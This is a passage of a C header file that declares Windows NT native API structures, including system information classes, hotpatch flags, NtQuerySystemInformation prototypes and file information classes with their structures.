actually class, simply a PVOID to the ImageAddress // Class 28 typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { ULONG TimeAdjustment; ULONG TimeIncrement; BOOLEAN Enable; } SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { ULONG TimeAdjustment; BOOLEAN Enable; } SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; // Class 29 - Same as 25 // FIXME: Class 30 // Class 31 typedef struct _SYSTEM_REF_TRACE_INFORMATION { UCHAR TraceEnable; UCHAR TracePermanent; UNICODE_STRING TraceProcessName; UNICODE_STRING TracePoolTags; } SYSTEM_REF_TRACE_INFORMATION, *PSYSTEM_REF_TRACE_INFORMATION; // Class 32 - OBSOLETE // Class 33 typedef struct _SYSTEM_EXCEPTION_INFORMATION { ULONG AlignmentFixupCount; ULONG ExceptionDispatchCount; ULONG FloatingEmulationCount; ULONG ByteWordEmulationCount; } SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; // Class 34 typedef struct _SYSTEM_CRASH_STATE_INFORMATION { ULONG ValidCrashDump; } SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION; // Class 35 typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { BOOLEAN KernelDebuggerEnabled; BOOLEAN KernelDebuggerNotPresent; } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; // Class 36 typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { ULONG ContextSwitches; ULONG FindAny; ULONG FindLast; ULONG FindIdeal; ULONG IdleAny; ULONG IdleCurrent; ULONG IdleLast; ULONG IdleIdeal; ULONG PreemptAny; ULONG PreemptCurrent; ULONG PreemptLast; ULONG SwitchToIdle; } SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; // Class 37 typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { ULONG RegistryQuotaAllowed; ULONG RegistryQuotaUsed; ULONG PagedPoolSize; } SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; // Class 38 // Not a structure, simply send the UNICODE_STRING // Class 39 // Not a structure, simply send a ULONG containing the new separation // Class 40 typedef struct _SYSTEM_PLUGPLAY_BUS_INFORMATION { ULONG BusCount; // PLUGPLAY_BUS_INSTANCE BusInstance[1]; } SYSTEM_PLUGPLAY_BUS_INFORMATION, *PSYSTEM_PLUGPLAY_BUS_INFORMATION; // Class 41 typedef enum _SYSTEM_DOCK_STATE { SystemDockStateUnknown, SystemUndocked, SystemDocked } SYSTEM_DOCK_STATE, *PSYSTEM_DOCK_STATE; typedef enum _INTERFACE_TYPE { InterfaceTypeUndefined = -1, Internal, Isa, Eisa, MicroChannel, TurboChannel, PCIBus, VMEBus, NuBus, PCMCIABus, CBus, MPIBus, MPSABus, ProcessorInternal, InternalPowerBus, PNPISABus, PNPBus, MaximumInterfaceType }INTERFACE_TYPE, *PINTERFACE_TYPE; typedef struct _SYSTEM_DOCK_INFORMATION { SYSTEM_DOCK_STATE DockState; INTERFACE_TYPE DeviceBusType; ULONG DeviceBusNumber; ULONG SlotNumber; } SYSTEM_DOCK_INFORMATION, *PSYSTEM_DOCK_INFORMATION; // Class 42 typedef struct _SYSTEM_POWER_INFORMATION_NATIVE { BOOLEAN SystemSuspendSupported; BOOLEAN SystemHibernateSupported; BOOLEAN ResumeTimerSupportsSuspend; BOOLEAN ResumeTimerSupportsHibernate; BOOLEAN LidSupported; BOOLEAN TurboSettingSupported; BOOLEAN TurboMode; BOOLEAN SystemAcOrDc; BOOLEAN PowerDownDisabled; LARGE_INTEGER SpindownDrives; } SYSTEM_POWER_INFORMATION_NATIVE, *PSYSTEM_POWER_INFORMATION_NATIVE; // Class 43 typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { // PNP_VETO_TYPE VetoType; UNICODE_STRING VetoDriver; // CHAR Buffer[0]; } SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; // Class 44 //typedef struct _TIME_ZONE_INFORMATION RTL_TIME_ZONE_INFORMATION; // Class 45 typedef struct _SYSTEM_LOOKASIDE_INFORMATION { USHORT CurrentDepth; USHORT MaximumDepth; ULONG TotalAllocates; ULONG AllocateMisses; ULONG TotalFrees; ULONG FreeMisses; ULONG Type; ULONG Tag; ULONG Size; } SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; // Class 46 // Not a structure. Only a HANDLE for the SlipEvent; // Class 47 // Not a structure. Only a ULONG for the SessionId; // Class 48 // Not a structure. Only a ULONG for the SessionId; // FIXME: Class 49 // Class 50 // Not a structure. Only a ULONG_PTR for the SystemRangeStart // Class 51 typedef struct _SYSTEM_VERIFIER_INFORMATION { ULONG NextEntryOffset; ULONG Level; UNICODE_STRING DriverName; ULONG RaiseIrqls; ULONG AcquireSpinLocks; ULONG SynchronizeExecutions; ULONG AllocationsAttempted; ULONG AllocationsSucceeded; ULONG AllocationsSucceededSpecialPool; ULONG AllocationsWithNoTag; ULONG TrimRequests; ULONG Trims; ULONG AllocationsFailed; ULONG AllocationsFailedDeliberately; ULONG Loads; ULONG Unloads; ULONG UnTrackedPool; ULONG CurrentPagedPoolAllocations; ULONG CurrentNonPagedPoolAllocations; ULONG PeakPagedPoolAllocations; ULONG PeakNonPagedPoolAllocations; ULONG PagedPoolUsageInBytes; ULONG NonPagedPoolUsageInBytes; ULONG PeakPagedPoolUsageInBytes; ULONG PeakNonPagedPoolUsageInBytes; } SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; // FIXME: Class 52 // Class 53 typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { ULONG SessionId; ULONG SizeOfBuf; PVOID Buffer; // Same format as in SystemProcessInformation } SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; // FIXME: Class 54-97 // // Hotpatch flags // #define RTL_HOTPATCH_SUPPORTED_FLAG 0x01 #define RTL_HOTPATCH_SWAP_OBJECT_NAMES 0x08 << 24 #define RTL_HOTPATCH_SYNC_RENAME_FILES 0x10 << 24 #define RTL_HOTPATCH_PATCH_USER_MODE 0x20 << 24 #define RTL_HOTPATCH_REMAP_SYSTEM_DLL 0x40 << 24 #define RTL_HOTPATCH_PATCH_KERNEL_MODE 0x80 << 24 // Class info 64 typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { PVOID Object; ULONG_PTR UniqueProcessId; ULONG_PTR HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR NumberOfHandles; ULONG_PTR Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; // Class 69 typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { ULONG Flags; ULONG InfoSize; union { struct { ULONG Foo; } CodeInfo; struct { USHORT NameOffset; USHORT NameLength; } KernelInfo; struct { USHORT NameOffset; USHORT NameLength; USHORT TargetNameOffset; USHORT TargetNameLength; UCHAR PatchingFinished; } UserModeInfo; struct { USHORT NameOffset; USHORT NameLength; USHORT TargetNameOffset; USHORT TargetNameLength; UCHAR PatchingFinished; NTSTATUS ReturnCode; HANDLE TargetProcess; } InjectionInfo; struct { HANDLE FileHandle1; PIO_STATUS_BLOCK IoStatusBlock1; PVOID RenameInformation1; PVOID RenameInformationLength1; HANDLE FileHandle2; PIO_STATUS_BLOCK IoStatusBlock2; PVOID RenameInformation2; PVOID RenameInformationLength2; } RenameInfo; struct { HANDLE ParentDirectory; HANDLE ObjectHandle1; HANDLE ObjectHandle2; } AtomicSwap; }; } SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; // // Class 75 // struct _SYSTEM_FIRMWARE_TABLE_INFORMATION; typedef NTSTATUS (__cdecl *PFNFTH)( IN struct _SYSTEM_FIRMWARE_TABLE_INFORMATION *FirmwareTableInformation ); typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION { SystemFirmwareTable_Enumerate = 0, SystemFirmwareTable_Get = 1, } SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION; typedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER { ULONG ProviderSignature; BOOLEAN Register; PFNFTH FirmwareTableHandler; PVOID DriverObject; } SYSTEM_FIRMWARE_TABLE_HANDLER, *PSYSTEM_FIRMWARE_TABLE_HANDLER; // // Class 76 // typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION { ULONG ProviderSignature; SYSTEM_FIRMWARE_TABLE_ACTION Action; ULONG TableID; ULONG TableBufferLength; UCHAR TableBuffer[1]; } SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; // // Class 81 // typedef struct _SYSTEM_MEMORY_LIST_INFORMATION { SIZE_T ZeroPageCount; SIZE_T FreePageCount; SIZE_T ModifiedPageCount; SIZE_T ModifiedNoWritePageCount; SIZE_T BadPageCount; SIZE_T PageCountByPriority[8]; SIZE_T RepurposedPagesByPriority[8]; } SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION; // // Class 88 // typedef struct _SYSTEM_PROCESS_ID_INFORMATION { HANDLE UniqueProcessId; // On input, set this to Process ID UNICODE_STRING ImageName; // On input, initialize to an allocated buffer } SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION; // // Class 90 // typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION { GUID CurrentBootGuid; ULONG Unknown; } SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; typedef NTSTATUS (NTAPI * NTQUERYSYSTEMINFORMATION)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS (NTAPI * RTLGETNATIVESYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); typedef BOOLEAN (NTAPI * RTLGETPRODUCTINFO)( IN ULONG OSMajorVersion, IN ULONG OSMinorVersion, IN ULONG SpMajorVersion, IN ULONG SpMinorVersion, OUT PULONG ReturnedProductType ); NTSYSAPI NTSTATUS NTAPI NtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); NTSYSAPI NTSTATUS NTAPI NtSetSystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength ); NTSYSAPI NTSTATUS NTAPI ZwSetSystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength ); NTSYSAPI NTSTATUS NTAPI RtlGetNativeSystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); //------------------------------------------------------------------------------ // Shutdown system typedef enum _SHUTDOWN_ACTION { ShutdownNoReboot, ShutdownReboot, ShutdownPowerOff } SHUTDOWN_ACTION, *PSHUTDOWN_ACTION; NTSYSAPI NTSTATUS NTAPI NtShutdownSystem( IN SHUTDOWN_ACTION Action ); //----------------------------------------------------------------------------- // File functions #ifndef OLD_DOS_VOLID #define OLD_DOS_VOLID 0x00000008 #endif #ifndef FILE_SUPERSEDE #define FILE_SUPERSEDE 0x00000000 #define FILE_OPEN 0x00000001 #define FILE_CREATE 0x00000002 #define FILE_OPEN_IF 0x00000003 #define FILE_OVERWRITE 0x00000004 #define FILE_OVERWRITE_IF 0x00000005 #define FILE_MAXIMUM_DISPOSITION 0x00000005 #endif // File create flags // Define the create/open option flags #ifndef FILE_DIRECTORY_FILE #define FILE_DIRECTORY_FILE 0x00000001 #define FILE_WRITE_THROUGH 0x00000002 #define FILE_SEQUENTIAL_ONLY 0x00000004 #define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 #define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #define FILE_NON_DIRECTORY_FILE 0x00000040 #define FILE_CREATE_TREE_CONNECTION 0x00000080 #define FILE_COMPLETE_IF_OPLOCKED 0x00000100 #define FILE_NO_EA_KNOWLEDGE 0x00000200 #define FILE_OPEN_FOR_RECOVERY 0x00000400 #define FILE_RANDOM_ACCESS 0x00000800 #define FILE_DELETE_ON_CLOSE 0x00001000 #define FILE_OPEN_BY_FILE_ID 0x00002000 #define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 #define FILE_NO_COMPRESSION 0x00008000 #define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 #define FILE_DISALLOW_EXCLUSIVE 0x00020000 #define FILE_RESERVE_OPFILTER 0x00100000 #define FILE_OPEN_REPARSE_POINT 0x00200000 #define FILE_OPEN_NO_RECALL 0x00400000 #define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 #endif // FILE_DIRECTORY_FILE // // Define the I/O status information return values for NtCreateFile/NtOpenFile // #ifndef FILE_SUPERSEDED #define FILE_SUPERSEDED 0x00000000 #define FILE_OPENED 0x00000001 #define FILE_CREATED 0x00000002 #define FILE_OVERWRITTEN 0x00000003 #define FILE_EXISTS 0x00000004 #define FILE_DOES_NOT_EXIST 0x00000005 #endif #ifndef FILE_REMOVABLE_MEDIA #define FILE_REMOVABLE_MEDIA 0x00000001 #define FILE_READ_ONLY_DEVICE 0x00000002 #define FILE_FLOPPY_DISKETTE 0x00000004 #define FILE_WRITE_ONCE_MEDIA 0x00000008 #define FILE_REMOTE_DEVICE 0x00000010 #define FILE_DEVICE_IS_MOUNTED 0x00000020 #define FILE_VIRTUAL_VOLUME 0x00000040 #define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 #define FILE_DEVICE_SECURE_OPEN 0x00000100 #define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 #define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 #define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 #endif #ifndef PIO_APC_ROUTINE_DEFINED typedef VOID (NTAPI *PIO_APC_ROUTINE) ( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved ); #define PIO_APC_ROUTINE_DEFINED #endif // PIO_APC_ROUTINE_DEFINED typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, // 2 FileBothDirectoryInformation, // 3 FileBasicInformation, // 4 FileStandardInformation, // 5 FileInternalInformation, // 6 FileEaInformation, // 7 FileAccessInformation, // 8 FileNameInformation, // 9 FileRenameInformation, // 10 FileLinkInformation, // 11 FileNamesInformation, // 12 FileDispositionInformation, // 13 FilePositionInformation, // 14 FileFullEaInformation, // 15 FileModeInformation, // 16 FileAlignmentInformation, // 17 FileAllInformation, // 18 FileAllocationInformation, // 19 FileEndOfFileInformation, // 20 FileAlternateNameInformation, // 21 FileStreamInformation, // 22 FilePipeInformation, // 23 FilePipeLocalInformation, // 24 FilePipeRemoteInformation, // 25 FileMailslotQueryInformation, // 26 FileMailslotSetInformation, // 27 FileCompressionInformation, // 28 FileObjectIdInformation, // 29 FileCompletionInformation, // 30 FileMoveClusterInformation, // 31 FileQuotaInformation, // 32 FileReparsePointInformation, // 33 FileNetworkOpenInformation, // 34 FileAttributeTagInformation, // 35 FileTrackingInformation, // 36 FileIdBothDirectoryInformation, // 37 FileIdFullDirectoryInformation, // 38 FileValidDataLengthInformation, // 39 FileShortNameInformation, // 40 FileIoCompletionNotificationInformation, // 41 FileIoStatusBlockRangeInformation, // 42 FileIoPriorityHintInformation, // 43 FileSfioReserveInformation, // 44 FileSfioVolumeInformation, // 45 FileHardLinkInformation, // 46 FileProcessIdsUsingFileInformation, // 47 FileNormalizedNameInformation, // 48 FileNetworkPhysicalNameInformation, // 49 // Windows 7+ FileIdGlobalTxDirectoryInformation, // 50 FileIsRemoteDeviceInformation, // 51 FileAttributeCacheInformation, // 52 FileNumaNodeInformation, // 53 FileStandardLinkInformation, // 54 FileRemoteProtocolInformation, // 55 // Windows 8+ FileRenameInformationBypassAccessCheck, // 56 (kernel-mode only) FileLinkInformationBypassAccessCheck, // 57 (kernel-mode only) FileVolumeNameInformation, // 58 FileIdInformation, // 59 FileIdExtdDirectoryInformation, // 60 // WinBlue+ FileReplaceCompletionInformation, // 61 FileHardLinkFullIdInformation, // 62 // Windows 10 THRESHOLD+ FileIdExtdBothDirectoryInformation, // 63 FileDispositionInformationEx, // 64 FileRenameInformationEx, // 65 FileRenameInformationExBypassAccessCheck,// 66 (kernel-mode only) // Windows 10 REDSTONE+ FileDesiredStorageClassInformation, // 67 FileStatInformation, // 68 FileMemoryPartitionInformation, // 69 // Windows 10 April 2018 Update+ FileStatLxInformation, // 70 FileCaseSensitiveInformation, // 71 // Windows 10 Fall 2018 Update+ FileLinkInformationEx, // 72 FileLinkInformationExBypassAccessCheck, // 73 FileStorageReserveIdInformation, // 74 FileCaseSensitiveInformationForceAccessCheck, // 75 FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; typedef struct _FILE_FULL_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; WCHAR FileName[1]; } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; typedef struct _FILE_BASIC_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; ULONG FileAttributes; } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; typedef struct _FILE_STANDARD_INFORMATION { LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG NumberOfLinks; BOOLEAN DeletePending; BOOLEAN Directory; } FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; // Windows 10 THRESHOLD+ typedef struct _FILE_STANDARD_INFORMATION_EX { LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG NumberOfLinks; BOOLEAN DeletePending; BOOLEAN Directory; BOOLEAN AlternateStream; BOOLEAN MetadataAttribute; } FILE_STANDARD_INFORMATION_EX, *PFILE_STANDARD_INFORMATION_EX; typedef struct _FILE_INTERNAL_INFORMATION { LARGE_INTEGER IndexNumber; } FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; typedef struct _FILE_EA_INFORMATION { ULONG EaSize; } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; typedef struct _FILE_ACCESS_INFORMATION { ACCESS_MASK AccessFlags; } FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; typedef struct _FILE_NAME_INFORMATION { ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; typedef struct _FILE_RENAME_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; #define FILE_RENAME_REPLACE_IF_EXISTS 0x00000001 #define FILE_RENAME_POSIX_SEMANTICS 0x00000002 // Renamed from original FILE_RENAME_INFORMATION in RS1+ typedef struct _FILE_RENAME_INFORMATION_EX { ULONG Flags; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFORMATION_EX, *PFILE_RENAME_INFORMATION_EX; typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; typedef struct _FILE_DISPOSITION_INFORMATION { BOOLEAN DeleteFile; } FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; typedef struct _FILE_POSITION_INFORMATION { LARGE_INTEGER CurrentByteOffset; } FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; typedef struct _FILE_MODE_INFORMATION { ULONG Mode; } FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; typedef struct _FILE_ALIGNMENT_INFORMATION { ULONG AlignmentRequirement; } FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; typedef struct _FILE_ALL_INFORMATION { FILE_BASIC_INFORMATION BasicInformation; FILE_STANDARD_INFORMATION StandardInformation; FILE_INTERNAL_INFORMATION InternalInformation; FILE_EA_INFORMATION EaInformation; FILE_ACCESS_INFORMATION AccessInformation; FILE_POSITION_INFORMATION PositionInformation; FILE_MODE_INFORMATION ModeInformation; FILE_ALIGNMENT_INFORMATION AlignmentInformation; FILE_NAME_INFORMATION NameInformation; } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; typedef struct _FILE_ALLOCATION_INFORMATION { LARGE_INTEGER AllocationSize; } FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; typedef struct _FILE_END_OF_FILE_INFORMATION { LARGE_INTEGER EndOfFile; } FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; typedef struct _FILE_STREAM_INFORMATION { ULONG NextEntryOffset; ULONG StreamNameLength; LARGE_INTEGER StreamSize; LARGE_INTEGER StreamAllocationSize; WCHAR StreamName[1]; } FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; typedef struct _FILE_PIPE_INFORMATION { ULONG ReadMode; ULONG CompletionMode; } FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; typedef struct _FILE_PIPE_LOCAL_INFORMATION { ULONG NamedPipeType; ULONG NamedPipeConfiguration; ULONG MaximumInstances; ULONG CurrentInstances; ULONG InboundQuota; ULONG ReadDataAvailable; ULONG OutboundQuota; ULONG WriteQuotaAvailable; ULONG NamedPipeState; ULONG NamedPipeEnd; } FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; typedef struct _FILE_PIPE_REMOTE_INFORMATION { LARGE_INTEGER CollectDataTime; ULONG MaximumCollectionCount; } FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { ULONG MaximumMessageSize; ULONG MailslotQuota; ULONG NextMessageSize; ULONG MessagesAvailable; LARGE_INTEGER ReadTimeout; } FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; typedef struct _FILE_MAILSLOT_SET_INFORMATION { PLARGE_INTEGER ReadTimeout; } FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; typedef struct _FILE_COMPRESSION_INFORMATION { LARGE_INTEGER CompressedFileSize; USHORT CompressionFormat; UCHAR CompressionUnitShift; UCHAR ChunkShift; UCHAR ClusterShift; UCHAR Reserved[3]; } FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; typedef struct _FILE_LINK_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; #define FILE_LINK_REPLACE_IF_EXISTS 0x00000001 // If a file with the given name already exists, it should be replaced with the new link. Equivalent to the ReplaceIfExists field used with the FileLinkInformation information class. #define FILE_LINK_POSIX_SEMANTICS 0x00000002 // If FILE_LINK_REPLACE_IF_EXISTS is also specified, allow replacing a file even if there are existing handles to it. Existing handles to the replaced file continue to be valid for operations such as read and write. Any subsequent opens of the target name will open the new link, not the replaced file. #define FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE 0x00000008 // When creating a link in a new directory, suppress any inheritance rules related to the storage reserve ID property of the file. #define FILE_LINK_NO_INCREASE_AVAILABLE_SPACE 0x00000010 // If FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE is not also specified, when creating a link in a new directory, automatically resize affected storage reserve areas to prevent the user visible free space on the volume from increasing. Requires manage volume access. #define FILE_LINK_NO_DECREASE_AVAILABLE_SPACE 0x00000020 // If FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE is not also specified, when creating a link in a new directory, automatically resize affected storage reserve areas to prevent the user visible free space on the volume from decreasing. Requires manage volume access. #define FILE_LINK_PRESERVE_AVAILABLE_SPACE 0x00000030 // Equivalent to specifying both FILE_LINK_NO_INCREASE_AVAILABLE_SPACE and FILE_LINK_NO_DECREASE_AVAILABLE_SPACE. #define FILE_LINK_IGNORE_READONLY_ATTRIBUTE 0x00000040 // Renamed from original FILE_LINK_INFORMATION in RS5+ typedef struct _FILE_LINK_INFORMATION_EX { ULONG Flags; // FileLinkInformationEx HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_LINK_INFORMATION_EX, *PFILE_LINK_INFORMATION_EX; typedef struct _FILE_OBJECTID_INFORMATION { LONGLONG FileReference; UCHAR ObjectId[16]; union { struct { UCHAR BirthVolumeId[16]; UCHAR BirthObjectId[16]; UCHAR DomainId[16]; } ; UCHAR ExtendedInfo[48]; }; } FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; typedef struct _FILE_COMPLETION_INFORMATION { HANDLE Port; PVOID Key; } FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; typedef struct _FILE_MOVE_CLUSTER_INFORMATION { ULONG ClusterCount; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; typedef struct _FILE_NETWORK_OPEN_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { ULONG FileAttributes; ULONG ReparseTag; } FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; typedef struct _FILE_TRACKING_INFORMATION { HANDLE DestinationFile; ULONG ObjectInformationLength; CHAR ObjectInformation[1]; } FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; typedef struct _FILE_REPARSE_POINT_INFORMATION { LONGLONG FileReference; ULONG Tag; } FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; typedef struct _FILE_QUOTA_INFORMATION { ULONG NextEntryOffset; ULONG SidLength; LARGE_INTEGER ChangeTime; LARGE_INTEGER QuotaUsed; LARGE_INTEGER QuotaThreshold; LARGE_INTEGER QuotaLimit; SID Sid; } FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; typedef struct _FILE_ID_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; 